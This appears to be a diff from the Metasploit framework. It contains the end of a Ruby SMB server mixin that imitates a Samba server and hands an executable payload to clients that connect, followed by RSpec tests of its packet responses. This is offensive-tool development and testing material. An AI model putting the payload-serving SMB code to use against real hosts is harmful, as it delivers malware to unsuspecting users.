pkt['Payload'].v['ServerTimeZone'] = 0x0
|
||||
pkt['Payload'].v['SessionKey'] = 0
|
||||
pkt['Payload'].v['Capabilities'] = 0x80f3fd
|
||||
pkt['Payload'].v['KeyLength'] = 8
|
||||
pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
def smb_cmd_session_setup(c, buff)
|
||||
|
||||
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 3
|
||||
pkt['Payload'].v['AndX'] = 0x75
|
||||
pkt['Payload'].v['Reserved1'] = 00
|
||||
pkt['Payload'].v['AndXOffset'] = 96
|
||||
pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest
|
||||
pkt['Payload'].v['Payload'] =
|
||||
Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
|
||||
Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
|
||||
Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature
|
||||
tree_connect_response = ""
|
||||
tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount
|
||||
tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand
|
||||
tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved
|
||||
tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset
|
||||
tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support
|
||||
tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter
|
||||
tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter
|
||||
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
|
||||
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
|
||||
tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount
|
||||
tree_connect_response << "A:\x00" # Service
|
||||
tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters
|
||||
# Fix the Netbios Session Service Message Length
|
||||
# to have into account the tree_connect_response,
|
||||
# need to do this because there isn't support for
|
||||
# AndX still
|
||||
my_pkt = pkt.to_s + tree_connect_response
|
||||
original_length = my_pkt[2, 2].unpack("n").first
|
||||
original_length = original_length + tree_connect_response.length
|
||||
my_pkt[2, 2] = [original_length].pack("n")
|
||||
c.put(my_pkt)
|
||||
end
|
||||
|
||||
def smb_cmd_create(c, buff)
|
||||
pkt = CONST::SMB_CREATE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
|
||||
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 42
|
||||
pkt['Payload'].v['AndX'] = 0xff # no further commands
|
||||
pkt['Payload'].v['OpLock'] = 0x2
|
||||
# No need to track fid here, we're just offering one file
|
||||
pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0
|
||||
pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened
|
||||
pkt['Payload'].v['CreateTimeLow'] = @lo
|
||||
pkt['Payload'].v['CreateTimeHigh'] = @hi
|
||||
pkt['Payload'].v['AccessTimeLow'] = @lo
|
||||
pkt['Payload'].v['AccessTimeHigh'] = @hi
|
||||
pkt['Payload'].v['WriteTimeLow'] = @lo
|
||||
pkt['Payload'].v['WriteTimeHigh'] = @hi
|
||||
pkt['Payload'].v['ChangeTimeLow'] = @lo
|
||||
pkt['Payload'].v['ChangeTimeHigh'] = @hi
|
||||
pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file
|
||||
pkt['Payload'].v['AllocLow'] = 0x100000
|
||||
pkt['Payload'].v['AllocHigh'] = 0
|
||||
pkt['Payload'].v['EOFLow'] = @exe.length
|
||||
pkt['Payload'].v['EOFHigh'] = 0
|
||||
pkt['Payload'].v['FileType'] = 0
|
||||
pkt['Payload'].v['IPCState'] = 0x7
|
||||
pkt['Payload'].v['IsDirectory'] = 0
|
||||
c.put(pkt.to_s)
|
||||
else
|
||||
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def smb_cmd_read(c, buff)
|
||||
pkt = CONST::SMB_READ_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
offset = pkt['Payload'].v['Offset']
|
||||
length = pkt['Payload'].v['MaxCountLow']
|
||||
|
||||
pkt = CONST::SMB_READ_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload'].v['AndX'] = 0xff # no more commands
|
||||
pkt['Payload'].v['Remaining'] = 0xffff
|
||||
pkt['Payload'].v['DataLenLow'] = length
|
||||
pkt['Payload'].v['DataOffset'] = 59
|
||||
pkt['Payload'].v['DataLenHigh'] = 0
|
||||
pkt['Payload'].v['Reserved3'] = 0
|
||||
pkt['Payload'].v['Reserved4'] = 6
|
||||
pkt['Payload'].v['ByteCount'] = length
|
||||
pkt['Payload'].v['Payload'] = @exe[offset, length]
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
def smb_cmd_trans(c, buff)
|
||||
pkt = CONST::SMB_TRANS2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
sub_command = pkt['Payload'].v['SetupData'].unpack("v").first
|
||||
case sub_command
|
||||
when 0x5 # QUERY_PATH_INFO
|
||||
smb_cmd_trans_query_path_info(c, buff)
|
||||
when 0x1 # FIND_FIRST2
|
||||
smb_cmd_trans_find_first2(c, buff)
|
||||
else
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
def smb_cmd_trans_query_path_info(c, buff)
|
||||
pkt = CONST::SMB_TRANS2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
if pkt['Payload'].v['SetupData'].length < 16
|
||||
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
|
||||
# return a Directory answer
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
||||
pkt['Payload'].v['ParamCountTotal'] = 2
|
||||
pkt['Payload'].v['DataCountTotal'] = 40
|
||||
pkt['Payload'].v['ParamCount'] = 2
|
||||
pkt['Payload'].v['ParamOffset'] = 56
|
||||
pkt['Payload'].v['DataCount'] = 40
|
||||
pkt['Payload'].v['DataOffset'] = 60
|
||||
pkt['Payload'].v['Payload'] =
|
||||
"\x00" + # Padding
|
||||
# QUERY_PATH_INFO Parameters
|
||||
"\x00\x00" + # EA Error Offset
|
||||
"\x00\x00" + # Padding
|
||||
#QUERY_PATH_INFO Data
|
||||
[@lo, @hi].pack("VV") + # Created
|
||||
[@lo, @hi].pack("VV") + # Last Access
|
||||
[@lo, @hi].pack("VV") + # Last Write
|
||||
[@lo, @hi].pack("VV") + # Change
|
||||
"\x10\x00\x00\x00" + # File attributes => directory
|
||||
"\x00\x00\x00\x00" # Unknown
|
||||
c.put(pkt.to_s)
|
||||
|
||||
else
|
||||
# if QUERY_PATH_INFO_PARAMETERS includes a file name,
|
||||
# returns an object name not found error
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
c.put(pkt.to_s)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def smb_cmd_trans_find_first2(c, buff)
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
file_name = Rex::Text.to_unicode(@scr_file)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
||||
pkt['Payload'].v['ParamCountTotal'] = 10
|
||||
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length
|
||||
pkt['Payload'].v['ParamCount'] = 10
|
||||
pkt['Payload'].v['ParamOffset'] = 56
|
||||
pkt['Payload'].v['DataCount'] = 94 + file_name.length
|
||||
pkt['Payload'].v['DataOffset'] = 68
|
||||
pkt['Payload'].v['Payload'] =
|
||||
"\x00" + # Padding
|
||||
# FIND_FIRST2 Parameters
|
||||
"\xfd\xff" + # Search ID
|
||||
"\x01\x00" + # Search count
|
||||
"\x01\x00" + # End Of Search
|
||||
"\x00\x00" + # EA Error Offset
|
||||
"\x00\x00" + # Last Name Offset
|
||||
"\x00\x00" + # Padding
|
||||
#QUERY_PATH_INFO Data
|
||||
[94 + file_name.length].pack("V") + # Next Entry Offset
|
||||
"\x00\x00\x00\x00" + # File Index
|
||||
[@lo, @hi].pack("VV") + # Created
|
||||
[@lo, @hi].pack("VV") + # Last Access
|
||||
[@lo, @hi].pack("VV") + # Last Write
|
||||
[@lo, @hi].pack("VV") + # Change
|
||||
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File
|
||||
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size
|
||||
"\x80\x00\x00\x00" + # File attributes => directory
|
||||
[file_name.length].pack("V") + # File name len
|
||||
"\x00\x00\x00\x00" + # EA List Lenght
|
||||
"\x00" + # Short file lenght
|
||||
"\x00" + # Reserved
|
||||
("\x00" * 24) +
|
||||
file_name
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
|
||||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
let(:response_length) { 39 }
|
||||
let(:valid_response) do
|
||||
"\x00\x00\x00\x23\xff\x53\x4d\x42" +
|
||||
"\x04\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x00\x00\x00"
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_close_res" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_close_res(client)).to eq(response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_CLOSE response to the client" do
|
||||
mod.send_close_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(valid_response)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
|
||||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
let(:default_response_length) { 73 }
|
||||
let(:default_response) do
|
||||
"\x00\x00\x00\x45\xff\x53\x4d\x42" +
|
||||
"\x72\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x11\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00"
|
||||
end
|
||||
let(:valid_request) do
|
||||
"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x43\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" +
|
||||
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f" +
|
||||
"\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02" +
|
||||
"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f" +
|
||||
"\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70" +
|
||||
"\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30" +
|
||||
"\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54" +
|
||||
"\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
|
||||
end
|
||||
let(:valid_response_length) { 81 }
|
||||
let(:challenge_length) { 8 }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_negotitate_res" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_negotitate_res(client)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_NEGOTIATE response to the client" do
|
||||
mod.send_negotitate_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_response)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_negotiate" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_negotiate(client, valid_request)).to eq(valid_response_length)
|
||||
end
|
||||
|
||||
it "returns an 8 byte challenge" do
|
||||
mod.smb_cmd_negotiate(client, valid_request)
|
||||
client.seek(0)
|
||||
pkt = Rex::Proto::SMB::Constants::SMB_NEG_RES_NT_PKT.make_struct
|
||||
pkt.from_s(client.read)
|
||||
|
||||
expect(pkt['Payload'].v['KeyLength']).to eq(challenge_length)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,134 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:default_response_length) { 139 }
|
||||
let(:default_response) do
|
||||
"\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x22\xff\x00\x00\x00\x03\x00\x00\x01\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:valid_request) do
|
||||
"\x00\x00\x00\x58\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x0c" +
|
||||
"\x00\x00\xc0\xfd\x18\xff\x00\xde\xde\x00\x02\x00\x10\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x01\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x90\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x40\x00\x00" +
|
||||
"\x02\x00\x00\x00\x00\x05\x00\x00\x5c\x00\x00\x00"
|
||||
end
|
||||
let(:valid_response) do
|
||||
"\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x22\xff\x00\x00\x00\x03\xef\xbe\x01\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x07\x00\x01\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:non_existent_path_request) do
|
||||
"\x00\x00\x00\x68\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x0c" +
|
||||
"\x00\x00\x80\x00\x18\xff\x00\xde\xde\x00\x12\x00\x16\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00" +
|
||||
"\x02\x00\x00\x00\x00\x15\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00" +
|
||||
"\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00"
|
||||
end
|
||||
let(:smb_error_response) do
|
||||
"\x00\x00\x00\x23\xff\x53\x4d\x42\xa2\x34\x00\x00\xc0\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x00\x00\x00"
|
||||
end
|
||||
let(:smb_error_length) { 39 }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'false.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_nt_create_andx_res" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_nt_create_andx_res(client)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
|
||||
mod.send_nt_create_andx_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_response)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_nt_create_andx" do
|
||||
context "when valid request" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_nt_create_andx(client, valid_request)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
|
||||
mod.smb_cmd_nt_create_andx(client, valid_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(valid_response)
|
||||
end
|
||||
end
|
||||
|
||||
context "when non existent path create requests" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_nt_create_andx(client, non_existent_path_request)).to eq(smb_error_length)
|
||||
end
|
||||
|
||||
it "sends a SMB_STATUS_OBJECT_NAME_NOT_FOUND error response to the client" do
|
||||
mod.smb_cmd_nt_create_andx(client, non_existent_path_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(smb_error_response)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,124 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:default_response_length) { 63 }
|
||||
let(:default_response) do
|
||||
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" +
|
||||
"\x00\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:valid_request) do
|
||||
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x18\x07\xe8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" +
|
||||
"\x00\x00\x00\x01\x0c\xff\x00\xde\xde\xad\xde\x00\x00\x00\x00\x00" +
|
||||
"\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
let(:valid_response) do
|
||||
"\x00\x00\x00\x45\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" +
|
||||
"\x40\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x0a\x00\x6d" +
|
||||
"\x65\x74\x61\x73\x70\x6c\x6f\x69\x74"
|
||||
end
|
||||
let(:valid_response_length) { 73 }
|
||||
|
||||
let(:invalid_offset_request) do
|
||||
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x18\x07\xe8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" +
|
||||
"\x00\x00\x00\x01\x0c\xff\x00\xde\xde\xad\xde\x00\xd0\x00\x00\x00" +
|
||||
"\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
let(:empty_response) do
|
||||
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" +
|
||||
"\x40\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00"
|
||||
end
|
||||
let(:empty_response_length) { 63 }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'false.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_read_andx_res" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_read_andx_res(client)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
|
||||
mod.send_read_andx_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_response)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_read_andx" do
|
||||
|
||||
context "when read request for valid offset" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_read_andx(client, valid_request)).to eq(valid_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid response with the contents to the client" do
|
||||
mod.smb_cmd_read_andx(client, valid_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(valid_response)
|
||||
end
|
||||
end
|
||||
|
||||
context "when read request for invalid offset" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_read_andx(client, invalid_offset_request)).to eq(empty_response_length)
|
||||
end
|
||||
|
||||
it "sends an empty read response to the client" do
|
||||
mod.smb_cmd_read_andx(client, invalid_offset_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(empty_response)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,138 @@
|
|||
